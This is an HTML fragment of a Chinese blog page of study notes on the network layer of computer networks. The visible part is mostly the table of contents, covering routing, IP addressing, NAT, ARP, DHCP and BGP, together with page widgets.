href="#%E6%98%A0%E5%B0%84%E9%97%AE%E9%A2%98"><span class="toc-number">4.5.2.2.</span> <span class="toc-text">映射问题</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#ARP-%E5%9C%B0%E5%9D%80%E8%BD%AC%E6%8D%A2"><span class="toc-number">4.5.2.3.</span> <span class="toc-text">ARP 地址转换</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#ARP-%E5%8C%85%E6%A0%BC%E5%BC%8F"><span class="toc-number">4.5.2.4.</span> <span class="toc-text">ARP 包格式</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#ARP-%E4%B8%BE%E4%BE%8B"><span class="toc-number">4.5.2.5.</span> <span class="toc-text">ARP 举例</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#DHCP-%E2%80%94%E2%80%94-%E5%8A%A8%E6%80%81%E4%B8%BB%E6%9C%BA%E9%85%8D%E7%BD%AE%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.5.3.</span> <span class="toc-text">DHCP —— 动态主机配置协议</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%89%8B%E5%8A%A8%E9%85%8D%E7%BD%AE-TCP-IP-%E7%9A%84%E9%97%AE%E9%A2%98"><span class="toc-number">4.5.3.1.</span> <span class="toc-text">手动配置 TCP&#x2F;IP 的问题</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E7%94%A8-DHCP-%E6%9D%A5%E9%85%8D%E7%BD%AE-TCP-IP"><span class="toc-number">4.5.3.2.</span> <span class="toc-text">用 DHCP 来配置 TCP&#x2F;IP</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#BOOTP-RFC-951-1048-1084"><span class="toc-number">4.5.3.3.</span> <span class="toc-text">BOOTP RFC 951&#x2F;1048&#x2F;1084</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#DHCP"><span class="toc-number">4.5.3.4.</span> <span class="toc-text">DHCP</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#BOOTP-DHCP-%E6%B6%88%E6%81%AF%E6%A0%BC%E5%BC%8F"><span class="toc-number">4.5.3.5.</span> <span class="toc-text">BOOTP&#x2F;DHCP 消息格式</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A0%87%E7%AD%BE%E4%BA%A4%E6%8D%A2%E5%92%8C-MPLS"><span class="toc-number">4.6.</span> <span class="toc-text">标签交换和 MPLS *</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#2-5-%E5%B1%82%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.6.1.</span> <span class="toc-text">2.5 层协议</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#OSPF-%E2%80%94%E2%80%94-%E5%86%85%E9%83%A8%E7%BD%91%E5%85%B3%E8%B7%AF%E7%94%B1%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.7.</span> <span class="toc-text">OSPF —— 内部网关路由协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Internet-%E4%B8%8A%E7%9A%84%E5%86%85%E9%83%A8%E7%BD%91%E5%85%B3%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.7.1.</span> <span class="toc-text">Internet 上的内部网关协议</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%BE%E8%AE%A1%E8%A6%81%E6%B1%82"><span class="toc-number">4.7.2.</span> <span class="toc-text">设计要求</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#BGP-%E2%80%94%E2%80%94-%E8%BE%B9%E7%95%8C%E7%BD%91%E5%85%B3%E8%B7%AF%E7%94%B1%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.8.</span> <span class="toc-text">BGP —— 边界网关路由协议*</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#BGP-%E6%94%BF%E7%AD%96"><span class="toc-number">4.8.1.</span> <span class="toc-text">BGP 政策</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E7%94%B1%E7%AD%96%E7%95%A5"><span class="toc-number">4.8.2.</span> <span class="toc-text">路由策略</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#BGP-%E5%9F%BA%E7%A1%80"><span class="toc-number">4.8.3.</span> <span class="toc-text">BGP 基础</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#BGP-%E8%B7%AF%E7%94%B1%E9%80%9A%E5%91%8A%E7%9A%84%E4%BC%A0%E6%92%AD"><span class="toc-number">4.8.4.</span> <span class="toc-text">BGP 路由通告的传播</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E7%94%B1%E5%99%A8%E5%A6%82%E4%BD%95%E4%B8%BA%E6%AF%8F%E4%B8%AA%E7%9B%AE%E7%9A%84%E5%9C%B0%E9%80%89%E6%8B%A9%E4%BD%BF%E7%94%A8%E5%93%AA%E6%9D%A1%E8%B7%AF%E7%94%B1"><span class="toc-number">4.8.5.</span> <span class="toc-text">路由器如何为每个目的地选择使用哪条路由</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Internet-%E7%BB%84%E6%92%AD"><span class="toc-number">4.9.</span> <span class="toc-text">Internet 组播*</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#IGMP-RFC-3376"><span class="toc-number">4.9.1.</span> <span class="toc-text">IGMP (RFC 3376)</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#PIM"><span class="toc-number">4.9.2.</span> <span class="toc-text">PIM</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A7%BB%E5%8A%A8-IP"><span class="toc-number">4.10.</span> <span class="toc-text">移动 IP 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/15/Notes/Computer%20Networks/The-Network-Layer/">https://jckling.github.io/2018/06/15/Notes/Computer Networks/The-Network-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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title="《计算机网络（英文版·第5版）》 The Application Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-25</div><div class="title">《计算机网络（英文版·第5版）》 The Application Layer</div></div></a></div><div><a href="/2018/06/14/Notes/Computer%20Networks/The-Data-Link-Layer/" title="《计算机网络（英文版·第5版）》 The Data Link Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-14</div><div class="title">《计算机网络（英文版·第5版）》 The Data Link Layer</div></div></a></div><div><a href="/2018/06/13/Notes/Computer%20Networks/The-Introduction/" title="《计算机网络（英文版·第5版）》 The Introduction"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-13</div><div class="title">《计算机网络（英文版·第5版）》 The Introduction</div></div></a></div><div><a href="/2018/06/14/Notes/Computer%20Networks/The-Medium-Access-Control-Sublayer/" title="《计算机网络（英文版·第5版）》 The Medium Access Control Sublayer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-14</div><div class="title">《计算机网络（英文版·第5版）》 The Medium Access Control Sublayer</div></div></a></div><div><a href="/2018/06/13/Notes/Computer%20Networks/The-Physical-Layer/" title="《计算机网络（英文版·第5版）》 The Physical Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-13</div><div class="title">《计算机网络（英文版·第5版）》 The Physical Layer</div></div></a></div><div><a href="/2018/06/22/Notes/Computer%20Networks/The-Transport-Layer/" title="《计算机网络（英文版·第5版）》 The Transport Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-22</div><div class="title">《计算机网络（英文版·第5版）》 The Transport Layer</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%B1%82%E8%AE%BE%E8%AE%A1%E9%97%AE%E9%A2%98"><span class="toc-number">1.</span> <span class="toc-text">网络层设计问题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%98%E5%82%A8-%E8%BD%AC%E5%8F%91%E6%95%B0%E6%8D%AE%E5%8C%85%E4%BA%A4%E6%8D%A2"><span class="toc-number">1.1.</span> <span class="toc-text">存储-转发数据包交换</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%90%E4%BE%9B%E7%BB%99%E4%BC%A0%E8%BE%93%E5%B1%82%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.2.</span> <span class="toc-text">提供给传输层的服务</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%A0%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%9E%E7%8E%B0"><span class="toc-number">1.3.</span> <span class="toc-text">无连接服务的实现</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%9E%E7%8E%B0"><span class="toc-number">1.4.</span> <span class="toc-text">面向连接服务的实现</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%A0%87%E7%AD%BE%E4%BA%A4%E6%8D%A2%EF%BC%88label-switching%EF%BC%89"><span class="toc-number">1.4.1.</span> <span class="toc-text">标签交换（label switching）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%99%9A%E7%94%B5%E8%B7%AF%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8A%A5%E7%BD%91%E7%BB%9C%E7%9A%84%E6%AF%94%E8%BE%83"><span class="toc-number">1.5.</span> <span class="toc-text">虚电路与数据报网络的比较</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%B7%AF%E7%94%B1%E7%AE%97%E6%B3%95"><span class="toc-number">2.</span> <span class="toc-text">路由算法</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%98%E5%8C%96%E5%8E%9F%E5%88%99%EF%BC%88optimality-principle%EF%BC%89"><span class="toc-number">2.1.</span> <span class="toc-text">优化原则（optimality principle）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B1%87%E9%9B%86%E6%A0%91"><span class="toc-number">2.1.1.</span> <span class="toc-text">汇集树</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9B%BE%E6%8A%BD%E8%B1%A1"><span class="toc-number">2.1.2.</span> <span class="toc-text">图抽象</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%80%E7%9F%AD%E8%B7%AF%E5%BE%84%E7%AE%97%E6%B3%95"><span class="toc-number">2.2.</span> <span class="toc-text">最短路径算法</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Dijkstra-%E7%AE%97%E6%B3%95"><span class="toc-number">2.2.1.</span> <span class="toc-text">Dijkstra 算法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8A%A0%E6%9D%83%E6%97%A0%E5%90%91%E5%9B%BE%E4%B8%8A%E7%9A%84%E7%AE%97%E6%B3%95"><span class="toc-number">2.2.2.</span> <span class="toc-text">加权无向图上的算法</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B3%9B%E6%B4%AA%EF%BC%88flooding%EF%BC%89"><span class="toc-number">2.3.</span> <span class="toc-text">泛洪（flooding）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%A8%E9%80%94"><span class="toc-number">2.3.1.</span> <span class="toc-text">用途</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%B7%9D%E7%A6%BB%E7%9F%A2%E9%87%8F%E8%B7%AF%E7%94%B1"><span class="toc-number">2.4.</span> <span class="toc-text">距离矢量路由</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86"><span class="toc-number">2.4.1.</span> <span class="toc-text">工作原理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#D-V-%E8%B7%AF%E7%94%B1%E4%BE%8B%E5%AD%90"><span class="toc-number">2.4.2.</span> <span class="toc-text">D-V 路由例子</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A0%E7%A9%B7%E8%AE%A1%E6%95%B0%E9%97%AE%E9%A2%98"><span class="toc-number">2.4.3.</span> <span class="toc-text">无穷计数问题</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E8%B7%AF%E7%94%B1"><span class="toc-number">2.5.</span> <span class="toc-text">链路状态路由</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%91%E7%8E%B0%E9%82%BB%E5%B1%85"><span class="toc-number">2.5.1.</span> <span class="toc-text">发现邻居</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%BE%E7%BD%AE%E9%93%BE%E8%B7%AF%E6%88%90%E6%9C%AC"><span class="toc-number">2.5.2.</span> <span class="toc-text">设置链路成本</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9E%84%E9%80%A0%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E5%8C%85"><span class="toc-number">2.5.3.</span> <span class="toc-text">构造链路状态包</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E5%8F%91%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E5%8C%85"><span class="toc-number">2.5.4.</span> <span class="toc-text">分发链路状态包</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%B9%B4%E9%BE%84%EF%BC%88age%EF%BC%89%E5%AD%97%E6%AE%B5"><span class="toc-number">2.5.4.1.</span> <span class="toc-text">年龄（age）字段</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E6%96%B0%E8%B7%AF%E7%94%B1"><span class="toc-number">2.5.5.</span> <span class="toc-text">计算新路由</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E7%8A%B6%E6%80%81%E8%B7%AF%E7%94%B1%E6%80%BB%E7%BB%93"><span class="toc-number">2.5.6.</span> <span class="toc-text">链路状态路由总结</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B1%82%E6%AC%A1%E8%B7%AF%E7%94%B1%EF%BC%88hierarchical-hierarchy%EF%BC%89"><span class="toc-number">2.6.</span> <span class="toc-text">层次路由（hierarchical&#x2F;hierarchy）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B9%BF%E6%92%AD%E8%B7%AF%E7%94%B1%EF%BC%88broadcast%EF%BC%89"><span class="toc-number">2.7.</span> <span class="toc-text">广播路由（broadcast）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BB%84%E6%92%AD%E8%B7%AF%E7%94%B1%EF%BC%88multicast%EF%BC%89"><span class="toc-number">2.8.</span> <span class="toc-text">组播路由（multicast）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BB%BB%E6%92%AD%E8%B7%AF%E7%94%B1%EF%BC%88anycast%EF%BC%89"><span class="toc-number">2.9.</span> <span class="toc-text">任播路由（anycast）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A7%BB%E5%8A%A8%E4%B8%BB%E6%9C%BA%E8%B7%AF%E7%94%B1%EF%BC%88mobile-host%EF%BC%89"><span class="toc-number">2.10.</span> <span class="toc-text">移动主机路由（mobile host）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%87%AA%E7%BB%84%E7%BB%87%E7%BD%91%E7%BB%9C%E8%B7%AF%E7%94%B1%EF%BC%88ad-hoc-network%EF%BC%89"><span class="toc-number">2.11.</span> <span class="toc-text">自组织网络路由（ad hoc network）</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E4%BA%92%E8%81%94%EF%BC%88internetwork%EF%BC%89"><span class="toc-number">3.</span> <span class="toc-text">网络互联（internetwork）</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%A6%82%E4%BD%95%E4%B8%8D%E5%90%8C"><span class="toc-number">3.1.</span> <span class="toc-text">网络如何不同</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%95%E4%BB%A5%E8%BF%9E%E6%8E%A5%E7%BD%91%E7%BB%9C"><span class="toc-number">3.2.</span> <span class="toc-text">何以连接网络</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9A%A7%E9%81%93%EF%BC%88tunneling%EF%BC%89"><span class="toc-number">3.3.</span> <span class="toc-text">隧道（tunneling）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%92%E8%81%94%E7%BD%91%E8%B7%AF%E7%94%B1"><span class="toc-number">3.4.</span> <span class="toc-text">互联网路由</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%8C%85%E5%88%86%E6%AE%B5"><span class="toc-number">3.5.</span> <span class="toc-text">数据包分段</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E5%BE%84-MTU"><span class="toc-number">3.5.1.</span> <span class="toc-text">路径 MTU</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E6%AE%B5%EF%BC%88Fragment%EF%BC%89"><span class="toc-number">3.5.2.</span> <span class="toc-text">分段（Fragment）</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E9%80%8F%E6%98%8E%E5%88%86%E6%AE%B5"><span class="toc-number">3.5.2.1.</span> <span class="toc-text">透明分段</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E9%9D%9E%E9%80%8F%E6%98%8E%E5%88%86%E6%AE%B5"><span class="toc-number">3.5.2.2.</span> <span class="toc-text">非透明分段</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E5%BE%84-MTU-%E5%8F%91%E7%8E%B0%EF%BC%88path-MTU-discovery%EF%BC%89"><span class="toc-number">3.5.3.</span> <span class="toc-text">路径 MTU 发现（path MTU discovery）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Internet-%E7%9A%84%E7%BD%91%E7%BB%9C%E5%B1%82"><span class="toc-number">4.</span> <span class="toc-text">Internet 的网络层</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#IPv4-%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.1.</span> <span class="toc-text">IPv4 协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E6%AE%B5%E4%B8%BE%E4%BE%8B"><span class="toc-number">4.1.1.</span> <span class="toc-text">分段举例</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#IP-%E5%9C%B0%E5%9D%80"><span class="toc-number">4.2.</span> <span class="toc-text">IP 地址</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%89%8D%E7%BC%80%EF%BC%88prefix%EF%BC%89"><span class="toc-number">4.2.1.</span> <span class="toc-text">前缀（prefix）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B1%82%E6%AC%A1%E5%8C%96%E5%9C%B0%E5%9D%80"><span class="toc-number">4.2.2.</span> <span class="toc-text">层次化地址</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AD%90%E7%BD%91%EF%BC%88subnet%EF%BC%89"><span class="toc-number">4.2.3.</span> <span class="toc-text">子网（subnet）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#CIDR-%E2%80%94%E2%80%94-%E6%97%A0%E7%B1%BB%E5%9F%9F%E9%97%B4%E8%B7%AF%E7%94%B1"><span class="toc-number">4.2.4.</span> <span class="toc-text">CIDR —— 无类域间路由</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E9%85%8D%E5%92%8C%E7%89%B9%E6%AE%8A%E5%AF%BB%E5%9D%80"><span class="toc-number">4.2.5.</span> <span class="toc-text">分配和特殊寻址</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#NAT-%E2%80%94%E2%80%94-%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80%E8%BD%AC%E6%8D%A2"><span class="toc-number">4.3.</span> <span class="toc-text">NAT —— 网络地址转换</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8A%A8%E6%80%81-IP-%E5%9C%B0%E5%9D%80"><span class="toc-number">4.3.1.</span> <span class="toc-text">动态 IP 地址</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80%E8%BD%AC%E6%8D%A2-NAT%EF%BC%88RFC-3022%EF%BC%89"><span class="toc-number">4.3.2.</span> <span class="toc-text">网络地址转换 NAT（RFC 3022）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BF%9D%E7%95%99%E7%9A%84-IP-%E5%9C%B0%E5%9D%80%EF%BC%88reserved%EF%BC%89"><span class="toc-number">4.3.3.</span> <span class="toc-text">保留的 IP 地址（reserved）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#NAT-%E6%93%8D%E4%BD%9C%E8%BF%87%E7%A8%8B"><span class="toc-number">4.3.4.</span> <span class="toc-text">NAT 操作过程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#NAT-%E5%BA%94%E7%AD%94%E9%97%AE%E9%A2%98"><span class="toc-number">4.3.5.</span> <span class="toc-text">NAT 应答问题</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#TCP-%E8%BF%9E%E6%8E%A5%E5%BB%BA%E7%AB%8B"><span class="toc-number">4.3.6.</span> <span class="toc-text">TCP 连接建立</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%98%A0%E5%B0%84%E6%BA%90%E7%AB%AF%E5%8F%A3"><span class="toc-number">4.3.7.</span> <span class="toc-text">映射源端口</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#NAT-%E9%97%AE%E9%A2%98"><span class="toc-number">4.3.8.</span> <span class="toc-text">NAT 问题</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#IPv6"><span class="toc-number">4.4.</span> <span class="toc-text">IPv6</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%BB%E8%A6%81%E7%9A%84-IPv6-%E5%A4%B4"><span class="toc-number">4.4.1.</span> <span class="toc-text">主要的 IPv6 头</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IPv6-%E5%9C%B0%E5%9D%80"><span class="toc-number">4.4.2.</span> <span class="toc-text">IPv6 地址</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%89%A9%E5%B1%95%E5%A4%B4"><span class="toc-number">4.4.2.1.</span> <span class="toc-text">扩展头</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IPv4-%E5%92%8C-IPv6-%E7%9A%84%E8%BD%AC%E6%8D%A2"><span class="toc-number">4.4.3.</span> <span class="toc-text">IPv4 和 IPv6 的转换</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Internet-%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.5.</span> <span class="toc-text">Internet 控制协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#ICMP-%E2%80%94%E2%80%94-Internet-%E6%8E%A7%E5%88%B6%E6%B6%88%E6%81%AF%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.5.1.</span> <span class="toc-text">ICMP —— Internet 控制消息协议</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#ICMP-%E7%9A%84%E8%AF%B7%E6%B1%82-%E5%93%8D%E5%BA%94%E7%9B%AE%E7%9A%84"><span class="toc-number">4.5.1.1.</span> <span class="toc-text">ICMP 的请求 &#x2F; 响应目的</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%97%B6%E9%97%B4%E6%88%B3%E6%B6%88%E6%81%AF"><span class="toc-number">4.5.1.2.</span> <span class="toc-text">时间戳消息</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ARP-%E2%80%94%E2%80%94-%E5%9C%B0%E5%9D%80%E8%A7%A3%E6%9E%90%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.5.2.</span> <span class="toc-text">ARP —— 地址解析协议</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#ARP-%E4%B8%8E-RARP"><span class="toc-number">4.5.2.1.</span> <span class="toc-text">ARP 与 RARP</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%98%A0%E5%B0%84%E9%97%AE%E9%A2%98"><span class="toc-number">4.5.2.2.</span> <span class="toc-text">映射问题</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#ARP-%E5%9C%B0%E5%9D%80%E8%BD%AC%E6%8D%A2"><span class="toc-number">4.5.2.3.</span> <span class="toc-text">ARP 地址转换</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#ARP-%E5%8C%85%E6%A0%BC%E5%BC%8F"><span class="toc-number">4.5.2.4.</span> <span class="toc-text">ARP 包格式</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#ARP-%E4%B8%BE%E4%BE%8B"><span class="toc-number">4.5.2.5.</span> <span class="toc-text">ARP 举例</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#DHCP-%E2%80%94%E2%80%94-%E5%8A%A8%E6%80%81%E4%B8%BB%E6%9C%BA%E9%85%8D%E7%BD%AE%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.5.3.</span> <span class="toc-text">DHCP —— 动态主机配置协议</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%89%8B%E5%8A%A8%E9%85%8D%E7%BD%AE-TCP-IP-%E7%9A%84%E9%97%AE%E9%A2%98"><span class="toc-number">4.5.3.1.</span> <span class="toc-text">手动配置 TCP&#x2F;IP 的问题</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E7%94%A8-DHCP-%E6%9D%A5%E9%85%8D%E7%BD%AE-TCP-IP"><span class="toc-number">4.5.3.2.</span> <span class="toc-text">用 DHCP 来配置 TCP&#x2F;IP</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" 